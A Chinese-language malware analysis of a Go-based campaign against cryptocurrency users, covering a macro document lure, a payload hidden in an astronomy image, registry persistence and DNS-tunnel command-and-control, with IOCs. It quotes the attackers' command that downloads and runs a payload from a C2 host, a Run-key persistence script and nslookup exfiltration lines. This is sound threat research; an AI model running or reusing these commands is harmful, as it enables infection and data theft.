使用Go语言编写的恶意软件变得越来越流行,主要原因为Go在跨平台支持和编译方面非常灵活,可以在包含所有需要的依赖项的单个二进制自身中针对多个操作系统和架构进行编译,与C++或C#编译的二进制文件相比,Go二进制文件更难分析和逆向工程并且av检测率低 使用恶意软件框架批量化生成基于Go的恶意软件针对Windows和Linux/Unix操作系统的攻击活动频率也在逐渐增加
初始载荷文件名称为Geos-Rates.docx
,翻译为GEOS汇率
,GEOPOLY属于是一款最近比较流行的区块链游戏,GEOS是游戏中的货币,推断攻击者针对的目标群体为加密货币行业人员使用加载手法也比较常见,通过模板注入的方式去下载下一阶段携带宏的文档,然后诱导用户启用宏
执行的VBA代码使用变量名混淆,关键命令HEX编码,用于规避静态查杀检测,执行的三段代码内容一模一样
Auto_Open | execl中自动执行宏的函数 |
---|---|
AutoOpen | word中自动执行宏的函数 |
AutoExec | access中自动执行宏的函数 |
三种不同的自动执行函数出现在同一文件的宏代码中则说明攻击者在此次行动中生成了大量的execl,word,access文件,并且均嵌入了相同的宏代码,因此可以将这个作为特征点批量进行检测筛选代码逻辑比较清晰,直接调用cmd执行命令从c2下载.jpg后续文件并且使用certutil解码图片为可执行文件
cmd.exe /c cd %localappdata% &
curl http://www.xmlschemeformat.com/update/2021/office/oxb36f8geec634.jpg -o oxb36f8geec634.jpg &
certutil -decode oxb36f8geec634.jpg msdllupdate.exe &
msdllupdate.exe
和其他攻击的不同点在于,大部分攻击者将连接c2下载的jpg文件实际上常为恶意脚本或者是恶意可执行文件,但是此次攻击中,图片可以正常打开,是一张詹姆斯韦伯望远镜拍摄的空间图像,并且图片在VT0检测率
查看其16进制,文件结构大致为
相同JPG |
---|
-----BEGIN CERTIFICATE----- |
base64编码的go |
-----END CERTIFICATE----- |
相同JPG |
相同JPG |
三张相同天文图片中间夹着base64编码后的恶意程序,文件可以直接使用copy命令合成,使用windows自带certutil程序对整体base64解码时只会将恶意编码部分解出来 通过测试发现使用certutil decode执行时会检测到字符"-----BEGIN CERTIFICATE-----" 和 "-----END CERTIFICATE-----",并且只会将其中的代码段解码,其他无关代码直接舍弃 例如
最终执行程序为go语言编写64位程序,变量名函数名基本上都没有直接使用明文,搜索发现是使用了开源的混淆软件gobfuscate
进行过混淆 将自身写入"C:\\Users\\Admin\\AppData\\Local\\microsoft\\vault\\msdllupdate.exe"
目录下
通过在C:\Users\Admin\AppData\Local\microsoft\vault\Update.bat
目录下创建执行批处理脚本,然后自删除 执行内容:
mkdir %LOCALAPPDATA%\microsoft\windows\MsSafety
copy %localappdata%\microsoft\vault\Msdllupdate.exe %LOCALAPPDATA%\microsoft\windows\MsSafety\Msdllupdate.exe
reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /V run /t REG_SZ /F /D %LOCALAPPDATA%\microsoft\windows\MsSafety\Msdllupdate.exe
用于将自身复制到%LOCALAPPDATA%\microsoft\windows\MsSafety
目录下,添加注册表键值实现持久化
字符串使用凯撒密码加密,位移一位,ROT47(-1)
将传输的字符串通过base64编码后作为传输内容
样本通信方式比较特别,使用DNS隧道进行通信,首先通过解析其根域名apiregis.com
和DNS服务器建立连接,然后再将加密后的传输内容拼接在域名的开头作为子域来传输 均调用cmd执行nslookup命令实现DNS请求 什么是DNS隧道?
"在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。"
将回传的内容经过base64编码后添加在URL前面
| 待发送内容: msdllupdate.exe|DESKTOP-NU4OK5U|DESKTOP-NU4OK5U\\Admin| 编码后:
bXNkbGx1cGRhdGUuZXhlfERFU0tUT1AtTlU0T0s1VXxERVNLVE9QLU5VNE9LNVVcQWRtaW58.R3G7834EDAL65**.apiregis.com** |
---|
重复执行11次:nslookup -q=txt-timeout=15 ReplaceWithRandom.C44352SSAWEQ.apiregis.com
用于检测是否连接上DNS服务器 如果连接成功则接收一个唯一的USER_ID
作为通信标识,USER_ID将被嵌入所有收发命令,并且会将这个USER_ID写入文件:
%LOCALAPPDATA%\microsoft\vault\MsDb.db |
---|
nslookup -q=txt -timeout=15 [USER_ID].[info].apiregis.com
USER_ID是唯一标识符,info则是编码后待发送的字符串 命令执行: 循环接收到的指令解码后使用cmd执行
文章是在八月份进行分析的,最近重新校对的时候发现VT检测率已经很高了,虽然仅仅只是编码后的文件合并,依然可以规避静态查杀,整体的攻击行为针对web3用户,使用go编译DNS后门的组合还是较为新颖,暂时先不对其后续ioc关联扩线
Geos-Rates.docx
da43ec30fe12c45529e51a0c986a856aa8772483875356f29382ac514788f86dform.dotm
383136adaf956f1fab03de8c1064f7b9119b5b656bedda7ce3137bebbb2a920f
OxB36F8GEEC634.jpg
3bdf6d9f0f35be75d8345d897ec838ae231ba01ae898f6d0c8f920ff4061fc22
msdllupdate.exe
d09af37cdbae7273e4e7c79b242023ffdb07c8ccab2280db7fe511d2b14ad19c
https://www.securonix.com/blog/golang-attack-campaign-gowebbfuscator-leverages-office-macros-and-james-webb-images-to-infect-systems/ https://www.freebuf.com/articles/network/284740.html
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新